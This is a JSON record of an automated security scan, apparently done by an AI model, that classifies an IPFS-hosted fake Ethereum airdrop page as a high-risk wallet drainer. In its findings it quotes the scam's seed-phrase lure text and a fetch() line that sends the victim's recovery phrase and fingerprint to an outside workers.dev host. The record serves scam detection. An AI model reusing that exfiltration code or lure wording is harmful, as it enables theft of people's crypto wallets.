{"root_cid":"bafybeifkqjjnmoogyo34rnqsz6b5ed77scapsatro5iqpszoxzmxhcdxfi","model":"openai/gpt-5.4-mini","analyzed_at":"2026-05-02T22:42:30.231Z","result":{"schema_version":1,"category":"Finance","category_confidence":0.91,"summary":"A fake Ethereum Events airdrop page that pushes wallet connection and seed-phrase capture flows.","signals":["analysis-context.json: latest_probe title is \"Ethereum Events\" and ipfs_path points to /index.html","root/index.html: hero text says \"If you've received the Airdrop\" and \"claim your rewards\"","root/index.html: claim flow includes \"Select the Airdrop amount you received\" and a \"claim\" button","root/happpyu4.js: \"Because of many requests, our Connect Wallet system is currently busy... connecting your wallet using a 12-word recovery phrase\"","root/happpyu4.js: \"Enter the Secret Recovery Phrase\" and a textarea for \"12-word phrase\"","root/happpyu4.js: posts the entered phrase to https://1112onetoothree2.eth2-stiffness640.workers.dev/ with fingerprint data"],"quality":{"tier":"low","score":0.24,"is_substantive":true,"is_redirect_only":false,"is_placeholder":false,"rationale":"The site has multiple pages and a full landing-page shell, but it is template-heavy, deceptive, and centered on a scam wallet flow rather than useful original content."},"security":{"risk":"high","risk_score":0.98,"threat_type":"wallet_drainer","safe_to_list":false,"findings":[{"type":"seed_phrase_prompt","severity":"high","confidence":0.99,"evidence":"root/happpyu4.js: \"Because of many requests, our Connect Wallet system is currently busy... connecting your wallet using a 12-word recovery phrase\" and \"Enter the Secret Recovery Phrase\".","file":"root/happpyu4.js"},{"type":"wallet_drainer","severity":"high","confidence":0.98,"evidence":"root/happpyu4.js: fetch('https://1112onetoothree2.eth2-stiffness640.workers.dev/', { body: JSON.stringify({ message: input, fingerprint: visitorId }) }) sends the typed recovery phrase off-site.","file":"root/happpyu4.js"}]},"files_reviewed":["analysis-context.json","root","root/index.html","root/happpyu4.js","root/wallet.css","root/robots.txt"]}}